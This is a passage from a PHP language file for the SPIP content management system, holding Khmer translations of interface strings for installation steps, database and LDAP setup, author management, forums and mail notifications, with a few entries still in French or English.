'info_chemin_acces_2' => 'ពីពេលនេះ, អ្នកត្រូវតែកំណត់ទំរង់ ផ្លូវចូលទៅ ពត៌មាននៃថតឯកសារ។ ពត៌មាននេះ មានខ្លឹមសារសំខាន់ សំរាប់អាន ពត៌មានផ្ទាល់ខ្លួន របស់អ្នកប្រើប្រាស់ បានតំកល់ទុក ក្នុងថតឯកសារ។',
'info_chemin_acces_annuaire' => 'ជម្រើស ៖<b>ច្រកចូលនៅក្នុងបញ្ជីរាយឈ្មោះ</b>',
'info_choix_base' => 'ជំហានទីបី ៖',
'info_classement_1' => ' out of @liste@',
'info_classement_2' => ' out of @liste@',
'info_code_acces' => 'កុំភ្លេច អក្សរកូដចូលទៅ ផ្ទាល់ខ្លួន របស់អ្នក!',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'បើអាសយដ្ឋាននេះ ត្រូវតាម បញ្ជីផ្ញើមែវល៍, អ្នក អាចបង្ហាញខាងក្រោម អាសយដ្ឋាន ដែលពួកអ្នកចូលរួម សៃថ៍ អាចចុះឈ្មោះ។ អាសយដ្ឋាននេះ អាចជា មួយអាសយដ្ឋាន URL (ជា ឧទាហរ ទំព័រចុះឈ្មោះ ទៅបញ្ជីតាមរយះវ៉ែប), ឬ អាសយដ្ឋានអ៊ីមែវល៍ បានមានប្រធានបទ ជាក់លាក់ (ជា ឧទាហរ៖ <tt>@adresse_suivi@?subject=subscribe</tt>)៖',
'info_config_suivi_explication' => 'អ្នក អាចជាវប្រចាំ ទៅបញ្ជីផ្ញើមែវល៍ នៃសៃថ៍នេះ។ អ្នក នឹងទទួលបាន តាមមែវល៍ រាល់ជំនូនដំណឹង នៃអត្ថបទនិងនៃពត៌មានខ្លី បានស្នើ សំរាប់ការបោះផ្សាយ។',
'info_confirmer_passe' => 'បញ្ជាក់ទទួលស្គាល់ ពាក្យសំងាត់ថ្មី៖',
'info_conflit_edition_differences' => 'ភាពខុសគ្នា៖',
'info_conflit_edition_version_enregistree' => 'បានរក្សាទុក កំណែ៖',
'info_conflit_edition_votre_version' => 'កំណែ របស់អ្នក៖',
'info_connexion_base' => 'ជំហាន ពីរ ៖<b>ព្យាយាម ភ្ជាប់ទៅ ឃ្លាំងទិន្នន័យ</b>',
'info_connexion_base_donnee' => 'ការភ្ជាប់ទៅ មូលដ្ឋានទិន្នន័យ របស់អ្នក',
'info_connexion_ldap_ok' => 'ការតភ្ជាប់ LDAP របស់អ្នកបានសម្រេចជោគជ័យ</b><p> អ្នកអាចទៅកាន់ជំហានបន្ទាប់បាន ។</p>', # MODIF
'info_connexion_mysql' => 'ជំហានទីមួយ ៖ <b>ការតភ្ជាប់ MySQL របស់អ្នក</b>',
'info_connexion_ok' => 'ការតភ្ជាប់បានសម្រេចជោគជ័យ ។',
'info_contact' => 'ទំនាក់ទំនង',
'info_contenu_articles' => 'ខ្លឹមសារអត្ថបទ',
'info_creation_paragraphe' => '(ដើម្បីបង្កើតកថាខណ្ឌ អ្នកគ្រាន់តែទុកអោយមានបន្ទាត់ទទេរ ។)', # MODIF
'info_creation_rubrique' => 'មុនពេលអាចសរសេរអត្ថបទ<br /> អ្នកត្រូវតែបង្កើតយ៉ាងហោចណាស់មួយផ្នែក ។<br />',
'info_creation_tables' => 'ជំហានទីបួន ៖ <b>ការបង្កើតតារាងឃ្លាំងទិន្នន័យ</b>',
'info_creer_base' => '<b>បង្កើត</b> ឃ្លាំងទិន្នន័យថ្មី',
'info_dans_rubrique' => 'ក្នុងផ្នែក ៖',
'info_date_publication_anterieure' => 'កាលបរិច្ឆេទនៃការបោះពុម្ភផ្សាយកាលពីលើកមុន ៖',
'info_date_referencement' => 'ថ្ងៃខែឆ្នាំ នៃការយោង របស់សៃថ៍នេះ ៖ ',
'info_derniere_etape' => 'ជំហានចុងក្រោយ ៖ រួចរាល់!',
'info_derniers_articles_publies' => 'អត្ថបទដែលបានបោះពុម្ភផ្សាយចុងក្រោយរបស់អ្នក',
'info_desactiver_messagerie_personnelle' => 'អ្នក អាចធ្វើអោយ សកម្ម/អសកម្ម សារផ្ទាល់ខ្លួន របស់អ្នក លើសៃថនេះ។',
'info_descriptif' => 'ការពិពណ៌នា៖',
'info_desinstaller_plugin' => 'លុបចេញ ទិន្នន័យ និងធ្វើអោយអសកម្ម plugin',
'info_discussion_cours' => 'ការពិភាក្សា កំពុងដំណើរ',
'info_ecrire_article' => 'មុនពេលអាចសរសេរអត្ថបទបាន អ្នកត្រូវបង្កើតយ៉ាងហោចណាស់មួយផ្នែក ។',
'info_email_envoi' => 'អាសយដ្ឋានអ៊ីមែវល៍ របស់ម្ចាស់បញ្ញើ (ជាជំរើស)',
'info_email_envoi_txt' => 'បញ្ចូល អាយដ្ឋានអ៊ីមែវល៍ របស់អ្នកផ្ញើ ធ្លាប់បានប្រើប្រាស់ ពេលផ្ញើអ៊ីមែវល៍ (ជាលំនាំដើម, អាសយដ្ឋានអ្នកទទួល ត្រូវបានប្រើប្រាស់ ជាអាសយដ្ឋានអ្នកផ្ញើ) ៖',
'info_email_webmestre' => 'អាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នកជំនាញវ៉ែប (ជាជំរើស)', # MODIF
'info_entrer_code_alphabet' => 'បញ្ចូលលេខកូដនៃតួអក្សរដែលបានកំណត់ត្រូវប្រើប្រាស់ ៖',
'info_envoi_email_automatique' => 'ការផ្ញើមែលដោយស្វ័យប្រវត្ដិ',
'info_envoyer_maintenant' => 'ផ្ញើ ឥឡូវ',
'info_etape_suivante' => 'ទៅ ជំហានបន្ទាប់',
'info_etape_suivante_1' => 'អ្នកអាចទៅ ជំហានបន្ទាប់។',
'info_etape_suivante_2' => 'អ្នកអាចទៅ ជំហានបន្ទាប់។',
'info_exportation_base' => 'នាំចេញ មូលដ្ឋានទិន្នន័យ ទៅ @archive@',
'info_facilite_suivi_activite' => 'សំរាប់សំរួល ការតាមដាន សកម្មភាពបោះផ្សាយ នៃសៃថ៍, SPIP អាចជូនដំណឹង តាមមែវល៍, ជាឧទាហរ ទៅបញ្ជីផ្ញើមែវល៍ របស់ពួកស្មេរ, ជំនូនដំណឹង នៃសំណើ បោះផ្សាយនានា និងភាពសុពលភាព នៃអត្ថបទនានា។',
'info_fichiers_authent' => 'ហ្វាលយថាភាព \\".htpasswd\\"',
'info_forums_abo_invites' => 'វ៉ែបសៃថ៍ របស់អ្នក រួមមាន ទីប្រជុំមតិ តាមរយះការជាវ ; ចឹង ពួកទស្សនាករ អាចចុះឈ្មោះ ចូលរួម ទីប្រជុំមតិទាំងនេះ លើសៃថ៍សាធារណះ។',
'info_gauche_admin_effacer' => '<b>ត្រឹមពួកអ្នកទទួលខុសត្រូវ នៃសៃថ៍ ទើបអាចចូលទៅ ទំព័រនេះ។ </b><p> វាវា អនុញ្ញាតចូលទៅ គ្រប់មុខងារថែទាំបច្ចេកទេស ដទៃ។ មួយចំនួននៃពួកវា ផ្តល់ដំណើរ សំគាល់ជាក់លាក់, ដែលតំរូវអោយមាន FTP ចូលទៅវ៉ែបសៃថ៍។</p>', # MODIF
'info_gauche_admin_tech' => '<b>ត្រឹម ពួកអ្នកទទួលខុសត្រូវសៃថ៍ អាចចូលទៅ ទំព័រនេះ។</b><p> វាអនុញ្ញាត អោយចូលទៅ មុខងារថែទាំបច្ចេកទេស ដទៃ។ មួយចំនួននៃមុខងារ ផ្តល់ដំណើរ សំគាល់ជាក់លាក់, តំរូវអោយមាន FTP សំរាប់ចូលទៅ វ៉ែបសៃថ៍។</p>', # MODIF
'info_gauche_admin_vider' => '<b>ត្រឹម ពួកអ្នកទទួលខុសត្រូវសៃថ៍ អាចចូលទៅ ទំព័រនេះ។</b><p> វាអនុញ្ញាត ចូលទៅ មុខងារថែទាំបច្ចេកទេស ដទៃ។ មួយចំនួននៃមុខងារ ផ្តល់ដំណើរ សំគាល់ជាក់លាក់, តំរូវអោយមាន FTP សំរាប់ចូលទៅ វ៉ែបសៃថ៍។</p>', # MODIF
'info_gauche_auteurs' => 'អ្នកនឹងឃើញ ទីនេះ គ្រប់អ្នកនិពន្ធ នៃវ៉ែបសៃថ៍។
ស្ថានភាព របស់ពួកគេ ត្រូវបានសំគាល់ ដោយ ពណ៌នៃរូបតំណាង (អ្នកអភិបាល = បៃតង; អ្នកបោះផ្សាយ = លឿង;)',
'info_gauche_auteurs_exterieurs' => 'ពួកអ្នកនិពន្ធ ពីខាងក្រៅ, គ្មានអាចចូលទៅ វ៉ែបសៃថ៍, ត្រូវបានសំគាល់ ជារូបតំណាង ពណ៌ខៀវ ;
ពួកអ្នកនិពន្ធ ត្រូវបានលុបចេញ ដោយធុងសំរាម។', # MODIF
'info_gauche_messagerie' => 'ការផ្ញើសារអនុញ្ញាតអោយអ្នកផ្លាស់ប្ដូរសារក្នុងចំណោមបណ្ណាធិកា ដើម្បីរក្សាទុកអនុស្សរណៈ (សម្រាប់ការប្រើប្រាស់ផ្ទាល់ខ្លួនរបស់អ្នក) ឬដើម្បីបង្ហាញនូវសេចក្ដីប្រកាសនៅលើគេហទំព័រនៃកន្លែងឯកជន (ប្រសិនបើអ្នកគឺជាអ្នកគ្រប់គ្រង) ។',
'info_gauche_numero_auteur' => 'លេខអ្នកនិពន្ធ ៖',
'info_gauche_statistiques_referers' => 'ទំព័រនេះ បង្ហាញ បញ្ជី<i>ឯកសារយោង</i>, បានន័យថា វ៉ែបសៃថ៍ មានផ្ទុកតំណភ្ជាប់ សំដៅសៃថ៍ផ្ទាល់ របស់អ្នក, ត្រឹម ម្សិល និងថ្ងៃនេះ ; បញ្ជីនេះ ត្រូវបានត្រលប់ទៅ សូន្យ រាល់ ២៤ ម៉ោង។',
'info_gauche_visiteurs_enregistres' => 'អ្នកនឹង រកឃើញ ទីនេះ ពួកទស្សនាករ
ក្នុងធ្លាសាធារណះ នៃវ៉ែបសៃថ៍ (ទីប្រជុំមតិ ជាវប្រចាំ)។',
'info_generation_miniatures_images' => 'បង្កើតគំនូសព្រាងរូបភាព',
'info_gerer_trad' => 'អនុញ្ញាត តំណភ្ជាប់ នៃបំរែសំរួល ឬ?',
'info_hebergeur_desactiver_envoi_email' => '“កុំព្យូទ័រខ្លះបិទមុខងារផ្ញើសារស្វ័យប្រវត្ដិ',
'info_hier' => 'ម្សិលម៉ិញៈ',
'info_historique_activer' => 'ធ្វើអោយសកម្ម ការតាមដាន អត្ថបទបានកែប្រែ',
'info_historique_affiche' => 'បង្ហាញអត្ថបទនេះ',
'info_historique_comparaison' => 'ប្រៀបធៀប',
'info_historique_desactiver' => 'ធ្វើអោយអសកម្ម ការតាមដាន នៃអត្តបទបានកែប្រែ',
'info_historique_texte' => 'មុខងារពិនិត្យអត្ថបទកែសម្រួលអាចឱ្យលោកអ្នកមើលឃើញនូវចំណុចកែប្រែ ឬបន្ថែមនានានៅក្នុងអត្ថបទ ព្រមទាំងបង្ហាញអំពីភាពខុសគ្នានៃអត្ថបទបន្ដបន្ទាប់',
'info_identification_publique' => 'អត្តសញ្ញា សាធារណះ របស់អ្នក...',
'info_image_process' => 'ជ្រើសយក វិធីប្រពៃបំផុត សំរាប់បង្កើត កូនរូបភាព ដោយ ចុចលើ រូបភាពទាក់ទិន។',
'info_image_process2' => '<b>ចំណាំ៖</b> <i>បើគ្មានរូបភាព លេចឡើង, ពេលខំព្យូរើបំរើសេវា ដែលទទួលផ្ទុកវ៉ែបសៃថ៍ របស់អ្នក គ្មានត្រូវបានកំណត់ទំរង់ សំរាប់ប្រើប្រាស់ ឧបករបែបចឹង។ បើអ្នក ចង់ប្រើប្រាស់ មុខងារទាំងនេះ, ទាក់ទងអ្នកទទួលខុសត្រូវ ផ្នែកបច្ចេកទេស និងសួរ ផ្នែកបន្ថែម «GD» ឬ «Imagick»</i>', # MODIF
'info_images_auto' => 'រូបភាពដែលត្រូវបានរាប់ដោយស្វ័យប្រវត្ដិ',
'info_informations_personnelles' => 'ជំហានទីប្រាំ ៖ <b>Personal information</b>',
'info_inscription_automatique' => 'ការចុះឈ្មោះស្វ័យប្រវត្តិ ពួកស្មេរថ្មី',
'info_jeu_caractere' => 'កញ្ចប់ភាសា នៃសៃថ៍',
'info_jours' => 'ថ្ងៃ',
'info_laisser_champs_vides' => 'ទុកប្រអប់នេះទំនេរ',
'info_langues' => 'ភាសា នៃសៃថ៍',
'info_ldap_ok' => 'LDAP បញ្ជាក់ភាពត្រឹមត្រូវ ត្រូវបានដំឡើង។',
'info_lien_hypertexte' => 'តំណភ្ជាប់ អត្ថបទខ្ពស់៖',
'info_liste_redacteurs_connectes' => 'បញ្ជីអ្នកសរសេរអត្ថបទដែលទាក់ទង',
'info_login_existant' => 'ការពិនិត្យចូលនេះ មានស្រាប់ហើយ។',
'info_login_trop_court' => 'ការពិនិត្យចូល ខ្លីពេក។',
'info_logos' => 'រូបសញ្ញា',
'info_maximum' => 'អតិបរមាៈ',
'info_meme_rubrique' => 'នៅក្នុងផ្នែកដដែល',
'info_message' => 'សារពី',
'info_message_efface' => 'សារ ត្រូវបានលុបចេញ',
'info_message_en_redaction' => 'សាររបស់លោកអ្នកកំពុងដំណើរការ',
'info_message_technique' => 'សារបច្ចេកទេសៈ',
'info_messagerie_interne' => 'ការបញ្ជូនសារខាងក្នុង',
'info_mise_a_niveau_base' => 'ការកែលំអសំណុំទិន្នន័យMySQL ',
'info_mise_a_niveau_base_2' => '{{ប្រយត្ន!}} អ្នក បានតំលើង មួយកំណែ
ឯកសារ SPIP (ចាស់)ជាង កំណែត្រូវបានតំលើង លើសៃថ៍នេះ៖ មូលដ្ឋានទិន្នន័យ របស់អ្នក អាចនឹងត្រូវបានបាត់ និងសៃថ៍ របស់អ្នក នឹងលែងធ្វើការ។ <br />{{តំលើងឡើងវិញ ឯកសារ SPIP។}}',
'info_modifier_auteur' => 'កែប្រែ ភាពលំអិតនៃអ្នកនិពន្ធ៖',
'info_modifier_rubrique' => 'កែប្រែ ផ្នែក៖',
'info_modifier_titre' => 'កែប្រែ៖ @titre@',
'info_mon_site_spip' => 'សៃថ៍ SPIP របស់ខ្ញុំ',
'info_mot_sans_groupe' => '(ពាក្យគន្លឹះដែលក្រុមមិន...)',
'info_moteur_recherche' => 'កម្មវិធីស្វែងរកវ៉ិបសាយរួម',
'info_moyenne' => 'មធ្យមៈ',
'info_multi_articles' => 'សកម្ម មែនញាវភាសា លើអត្ថបទ ឬ ?',
'info_multi_cet_article' => 'ភាសាក្នុងអត្ថបទនេះ',
'info_multi_langues_choisies' => 'សូមជ្រើសយក ភាសាមានស្រាប់ ខាងក្រោម សំរាប់ ពួកស្មេរ នៃសៃថ៍ របស់អ្នក។
ភាសា ត្រូវបានប្រើប្រាស់ហើយ ក្នុងសៃថ៍ របស់អ្នក(បង្ហាញ ដំបូង) គ្មានអាចត្រូវបាន អសកម្ម។',
'info_multi_rubriques' => 'បើកមុខងារតារាងភាសាសំរាប់ផ្នែកនេះ?',
'info_multi_secteurs' => '...សំរាប់តែផ្នែកដែលនៅខាងក្រោមគេប៉ុណ្ណោះ?',
'info_nom' => 'ឈ្មោះ',
'info_nom_destinataire' => 'ឈ្មោះអ្នកទទួល',
'info_nom_site' => 'ឈ្មោះវ៉ែបសៃថ៍ របស់ខ្ញុំ',
'info_nombre_articles' => 'អត្ថបទ',
'info_nombre_partcipants' => 'អ្នកចូលរួមក្នុងការពិភាក្សាៈ',
'info_nombre_rubriques' => 'ផ្នែក',
'info_nombre_sites' => '@nb_sites@ វ៉ែបសៃថ៍,',
'info_non_deplacer' => 'សូមកុំរំកិល',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP អាចផ្ញើទៀងទាត់ ជំនូនដំណឹង ពត៌មានថ្មីៗ ចុងក្រោយ នៃវ៉ែបសៃថ៍
(អត្ថបទ និងពត៌មានខ្លី ត្រូវបានបោះផ្សាយថ្មីៗ។',
'info_non_envoi_liste_nouveautes' => 'កុំផ្ញើ បញ្ជីដំណឹងចុងក្រោយបំផុត',
'info_non_modifiable' => 'គ្មានអាចត្រូវបាន កែប្រែ',
'info_non_suppression_mot_cle' => 'ខ្ញុំ គ្មានចង់លុបចេញ ពាក្យគន្លឹះនេះ។',
'info_notes' => 'កំណត់សំគាល់នៅចុងទំព័រ',
'info_nouveaux_message' => 'សារថ្មីៗ',
'info_nouvel_article' => 'អត្ថបទថ្មី',
'info_nouvelle_traduction' => 'អត្ថបទបកប្រែថ្មីៈ',
'info_numero_article' => 'លេខអត្ថបទៈ',
'info_obligatoire_02' => '[ចាំបាច់]', # MODIF
'info_option_accepter_visiteurs' => 'យល់ព្រម ការចុះឈ្មោះ ពួកទស្សនាករ នៃវ៉ែបសៃថ៍សាធារណះ',
'info_option_faire_suivre' => 'បញ្ជូនសាររបស់វេទិកាទៅអ្នកសរសេរកម្មវិធី',
'info_option_ne_pas_accepter_visiteurs' => 'បដិសេធ ការចុះឈ្មោះ របស់ទស្សនាករ',
'info_options_avancees' => 'ជំរើសពិសេស',
'info_ortho_activer' => 'បើកមុខងារកម្មវិធីត្រួតពិនិត្យកំហុសអក្ខរាវិរុទ្ធ',
'info_ortho_desactiver' => 'បិទមុខងារកម្មវិធីត្រួតពិនិត្យកំហុសអក្ខរាវិរុទ្ធ',
'info_ou' => 'ឬ....',
'info_page_interdite' => 'ទំព័រហាមឃាត់',
'info_par_nom' => 'តាមឈ្មោះ',
'info_par_nombre_article' => 'តាមចំនួនអត្ថបទ',
'info_par_statut' => 'តាមស្ថានភាព',
'info_par_tri' => '’(by @tri@)’',
'info_passe_trop_court' => 'ពាក្យសំងាត់ ខ្លីពេក។',
'info_passes_identiques' => 'ពាក្យសំងាត់ ទាំងពីរ គ្មានដូចគ្នា។',
'info_pense_bete_ancien' => 'កំណត់ហេុតចាស់របស់លោកអ្នក', # MODIF
'info_plus_cinq_car' => 'លើសពី ៥ អក្សរ',
'info_plus_cinq_car_2' => '(លើសពី ៥ អក្សរ)',
'info_plus_trois_car' => '(លើសពី ៣ អក្សរ)',
'info_popularite' => 'ភាពពេញនិយម៖ ៖ @popularite@; ចំណូលមើល៖ @visites@',
'info_popularite_4' => 'ភាពប្រជាប្រិយ ៖ @popularite@; ចំណូលមើល ៖ @visites@',
'info_post_scriptum' => 'បដ្ឋនាលិខិត',
'info_post_scriptum_2' => 'បដ្ឋនាលិខិត',
'info_pour' => 'សំរាប់',
'info_preview_admin' => 'ត្រឹមពួកអ្នកអភិបាល ទើបអាចមើលមុន សៃថ៍',
'info_preview_comite' => 'គ្រប់ស្មេរ អាចមើលមុន សៃថ៍',
'info_preview_desactive' => 'ម៉ូត (mode) ពិនិត្យជាមុនត្រូវបានបិទមុខមុខងារ',
'info_preview_texte' => 'គ្មានអាចមើលមុន សៃថ៍ ដូចដែលគ្រប់អត្ថបទ និងខ្ទង់ដំណឹង (ដែលមានយ៉ាងតិច ស្ថានភាព "បានដាក់ស្នើ") ត្រូវបានបោះផ្សាយហើយ។ បែបមើលមុននេះ គួរត្រូវបានអនុញ្ញាត សំរាប់ពួកអ្នកអភិបាល, បើក សំរាប់គ្រប់អ្នកនិពន្ធ, ឬ គ្មានអនុញ្ញាតទាំងស្រុង?',
'info_principaux_correspondants' => 'អ្នកឆ្លើយឆ្លង ចំបង របស់អ្នក',
'info_procedez_par_etape' => 'សូមដំណើរការមួយជំហានម្ដងៗ',
'info_procedure_maj_version' => 'គួរបើកដំណើរការនីតិវិធីកែលំអដើម្បីសម្រួលដល់ការប្រើប្រាស់ទិន្នន័យទៅក្នុងវើសឹន (version) របស់ SPIP',
'info_proxy_ok' => 'ការពិនិត្យលើវើសឹនថ្មីទទួលបានជោគជ័យ។',
'info_ps' => 'បញ្ជាក់(P.S)',
'info_publier' => 'ចុះផ្សាយ',
'info_publies' => 'រាល់អត្ថបទ របស់អ្នក ត្រូវបានបោះផ្សាយ លើអិនរើណែត',
'info_question_accepter_visiteurs' => 'ប្រសិនបើទម្រង់វ៉ិបសាយរបស់លោកអ្នកអនុញ្ញាតឱ្យអ្នកទស្សនាចុះឈ្មោះដោយមិនចាំបាច់ចូលទៅក្នុងផ្នែកឯកជន សូមបើកមុខងារជំរើសខាងក្រោមៈ',
'info_question_inscription_nouveaux_redacteurs' => 'តើលោកអ្នកត្រូវការអនុញ្ញាតឱ្យអ្នកសរសេរអត្ថបទថ្មីចុះឈ្មោះពីវ៉ិបសាយសាធារណៈដែលឬទេ? ប្រសិនបើលោកអ្នកយល់ព្រម អ្នកទស្សនានឹងអាចចុះឈ្មោះដោយប្រើប្រាស់ទម្រង់ស្វ័យប្រវត្ដិមួយ ហើយបន្ទាប់មកចូលក្នុងផ្នែកឯកជនដើម្បីបញ្ចូលអត្ថបទផ្ទា់ល់របស់ពួកគេ។ <blockquote> ក្នុងពេលដំណើរការចុះឈ្មោះ អ្នកប្រើប្រាស់ទទួលបានអ៊ីម៉ែលស្វ័យប្រវត្ដិដែលផ្ដល់ជូនពួកគេនូវលេខកូដចូលទៅក្នុងផ្នែកឯកជន។ ក្រុមហ៊ុនផ្ដល់សេវាមួយចំនួនមិនអនុញ្ញាតចំពោះការផ្ញើអ៊ីម៉ែលម៉ាស៊ីនមេ (servers)របស់ពួកគេទេ ៖ ក្នុងករណីនោះ ការចុះឈ្មោះដោយស្វ័យប្រវត្ដិគឺមិនអាចអនុវត្ដបានទេ។', # MODIF
'info_question_utilisation_moteur_recherche' => 'អ្នកចង់ប្រើប្រាស់ ឧបករស្វែងរក ត្រូវបានបញ្ចូលទៅ SPIP ឬ? (ការមិនអនុញ្ញាតវា បង្កើនល្បឿន ភាពប្រពៃ នៃប្រព័ន្ធ។)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'ឫស នៃវ៉ែបសៃថ៍',
'info_recharger_page' => 'សូមបញ្ចូលទំព័រនេះជាថ្មីម្ដងទៀតនៅមួយសន្ទុះក្រោយ',
'info_recherche_auteur_a_affiner' => 'លទ្ធផលច្រើនពេក សំរាប់ "@cherche_auteur@"; សូមចំរាញ់ ការស្វែងរក របស់អ្នក។',
'info_recherche_auteur_ok' => 'ឃើញមានអ្នកសរសេរអត្ថបទជាច្រើនសំរាប់ \\"@cherche_auteur@\\":',
'info_recherche_auteur_zero' => 'គ្មានលទ្ធផលទេសំរាប់ \\"@cherche_auteur@\\".',
'info_recommencer' => 'សូមព្យាយាមម្ដងទៀត',
'info_redacteur_1' => 'Rédacteur',
'info_redacteur_2' => 'បានចូលមកដល់ផ្នែកឯកជន (<i>recommended</i>)',
'info_redacteurs' => 'អ្នកសរសេរអត្ថបទ',
'info_redaction_en_cours' => 'កំពុង តែងអត្ថបទ',
'info_redirection' => 'ការកំណត់ទិសដៅជាថ្មី',
'info_refuses' => 'អត្ថបទ របស់អ្នក ត្រូវបានបដិសេធ',
'info_reglage_ldap' => 'ជម្រើសៈ<b>Adjusting LDAP import</b>',
'info_renvoi_article' => '<b>Redirection.</b> អត្ថបទនេះត្រូវប្ដូរទិសដៅជាថ្មីទៅៈ',
'info_reserve_admin' => 'ត្រឹម ពួកអ្នកអភិបាល អាចកែប្រែ អាសយដ្ឋាននេះ។',
'info_restreindre_rubrique' => 'កំណត់ការគ្រប់គ្រងត្រឹមតែចំពោះផ្នែកៈ',
'info_resultat_recherche' => 'លទ្ធផលនៃការស្វែងរកៈ',
'info_rubriques' => 'ផ្នែក',
'info_rubriques_02' => 'ផ្នែក',
'info_rubriques_trouvees' => 'ផ្នែក ត្រូវបានរកឃើញ',
'info_rubriques_trouvees_dans_texte' => 'ផ្នែកដែលឃើញមាន (នៅក្នុងអត្ថបទ)',
'info_sans_titre' => 'គ្មានចំណងជើង',
'info_selection_chemin_acces' => '<b>ជ្រើសយក</b> ខាងក្រោម ផ្លូវចូលទៅបញ្ជីឈ្មោះ ៖',
'info_signatures' => 'ហត្ថលេខា',
'info_site' => 'សៃថ៍',
'info_site_2' => 'សៃថ៍៖',
'info_site_min' => 'សៃថ៍',
'info_site_reference_2' => 'សៃថ៍យោង',
'info_site_web' => 'វ៉ែបសៃថ៍ ៖', # MODIF
'info_sites' => 'សៃថ៍',
'info_sites_lies_mot' => 'សៃថ៍យោង ដែលមានពាក្យគន្លឹះនេះ',
'info_sites_proxy' => 'ប្រើប្រាស់ មួយខំព្យូរើបំរើសេវា Proxy',
'info_sites_trouves' => 'បានរកឃើញ សៃថ៍',
'info_sites_trouves_dans_texte' => 'បានរកឃើញ សៃថ៍ (ក្នុង អត្ថបទ)',
'info_sous_titre' => 'ចំណងជើងរង៖',
'info_statut_administrateur' => 'អ្នកអភិបាល',
'info_statut_auteur' => 'ស្ថានភាព នៃអ្នកនិពន្ធ នេះ៖',
'info_statut_auteur_a_confirmer' => 'ការចុះឈ្មោះ ដែលត្រូវបញ្ជាក់ទទួលស្គាល់',
'info_statut_auteur_autre' => 'ស្ថានភាព ដទៃ ៖',
'info_statut_efface' => 'បានត្រូវលុបសំអាត',
'info_statut_redacteur' => 'អ្នកតែងនិពន្ធ',
'info_statut_utilisateurs_1' => 'ស្ថានភាព លំនាំដើម នៃអ្នកប្រើប្រាស់ ដែលបានត្រូវនាំចូល',
'info_statut_utilisateurs_2' => 'ជ្រើសរើសស្ថានភាពដែលបញ្ជាក់អំពីបុគ្គលដែលមាននៅក្នុងបញ្ជី (directory) LDAP នៅពេលដែលពួកគេភ្ជាប់ជាលើកដំបូង។ ក្រោយមកលោកអ្នកអាចកែសម្រួលតម្លៃនេះសំរាប់អ្នកសរសេរកម្មវិធីនីមួយៗ ដោយផ្នែកលើករណីមួយៗ។',
'info_suivi_activite' => 'ការតាមដាន សកម្មភាពបោះផ្សាយ',
'info_surtitre' => 'ចំណងជើងកំពូល៖',
'info_syndication_integrale_1' => 'វ៉ិបសាយរបស់លោកអ្នកផ្ដល់នូវហ្វាល (file) បញ្ចូល(see <a href=\\"@url@\\">@titre@</a>)។',
'info_syndication_integrale_2' => 'អ្នកមានសំណូមពរ ផ្ញើ អត្ថបទទាំងមូល ឬ ត្រឹមមួយសង្ខេប នៃរាប់រយអក្សរ ឬ?',
'info_taille_maximale_vignette' => 'ទំហំអតិបរមានៃម៉ូតរចនាដែលបង្កើតឡើងដោយប្រព័ន្ធ ៖',
'info_terminer_installation' => 'អ្នក បច្ចុប្បន្ន អាចបញ្ចប់ ដំណើរតំលើង លំនាំដើម។',
'info_texte' => 'អត្ថបទ',
'info_texte_explicatif' => 'អត្ថបទពន្យល់',
'info_texte_long' => '(ឯកសារវែងៈ វាបង្ហាញជាច្រើនផ្នែកដែលនឹងរួមបញ្ចូលគ្នាបន្ទាប់ពីមានសុពលភាព។)',
'info_texte_message' => 'អត្ថបទ នៃសារ របស់អ្នក៖', # MODIF
'info_texte_message_02' => 'អត្ថបទសារ',
'info_titre' => 'ចំណងជើង៖',
'info_total' => 'សរុបៈ',
'info_tous_articles_en_redaction' => 'គ្រប់អត្ថបទ ក្នុងដំណើរសរសេរ',
'info_tous_articles_presents' => 'គ្រប់អត្ថបទ ត្រូវបានបោះផ្សាយ ក្នុងផ្នែកនេះ',
'info_tous_les' => 'រាល់៖',
'info_tous_redacteurs' => 'ជំនូនដំណឹង ទៅ គ្រប់ស្មេរ',
'info_tout_site' => 'សៃថ៍ ទាំងមូល',
'info_tout_site2' => 'អត្ថបទ គ្មានទាន់ត្រូវបាន ប្រែសំរួល ជាភាសានេះ។',
'info_tout_site3' => 'អត្ថបទ ត្រូវបានប្រែសំរួល ជាភាសានេះ, ប៉ុន្តែមានបំលាស់ប្តូរ បន្ទាប់ពីអត្ថបទយោង។ បំរែសំរួល ត្រូវការ ការបន្ទាន់សម័យ។ ',
'info_tout_site4' => 'អត្ថបទ ត្រូវបានប្រែសំរួល ជាភាសានេះ, និង បំរែសំរួល ត្រូវបានបន្ទាន់សម័យ។',
'info_tout_site5' => 'អត្ថបទដើម៖',
'info_tout_site6' => '<b>ប្រយត្ន៖</b> ត្រឹមអត្ថបទដើម ត្រូវបានបង្ហាញ.
បំរែសំរួល ត្រូវបានផ្សារជាប់ ទៅអត្ថបទ,
ដោយមានមួយពណ៌ បង្ហាញស្ថានភាព របស់វា ៖',
'info_travail_colaboratif' => 'ការងាររួមសំរាប់អត្ថបទ',
'info_un_article' => 'អត្ថបទ',
'info_un_site' => 'មួយសៃថ៍,',
'info_une_rubrique' => 'ផ្នែក',
'info_une_rubrique_02' => 'មួយផ្នែក',
'info_url' => 'URL ៖',
'info_url_site' => 'អាសយដ្ឋាន URL នៃសៃថ៍ ៖',
'info_urlref' => 'តំណភ្ជាប់ខ្ពស់ ៖',
'info_utilisation_spip' => 'ពេលនេះ អ្នកអាចផ្តើមប្រើប្រាស់ SPIP មានការណែនាំ....',
'info_visites_par_mois' => 'ការបង្ហាញចេញ ប្រចាំខែ ៖',
'info_visiteur_1' => 'ទស្សនាករ',
'info_visiteur_2' => 'នៃសៃថ៍សាធារណៈ',
'info_visiteurs' => 'ទស្សនាករ',
'info_visiteurs_02' => 'ទស្សនាករ នៃសៃថ៍សាធារណៈ',
'install_base_ok' => 'បានស្គាល់អត្តសញ្ញា របស់ទិន្នន័យ @base@',
'install_echec_annonce' => 'ការតំលើងនេះ អាចនឹងបរាជ័យ, ឬ អាចនាំទៅ មួយសៃថ៍ខូច...',
'install_extension_mbstring' => 'SPIP គ្មានធ្វើការ ជាមួយ ៖',
'install_extension_php_obligatoire' => 'SPIP ទាមទារ កន្ទុយ .php ៖',
'install_pas_table' => 'មូលដ្ឋានទិន្នន័យ គ្មានទាន់មានតារាង',
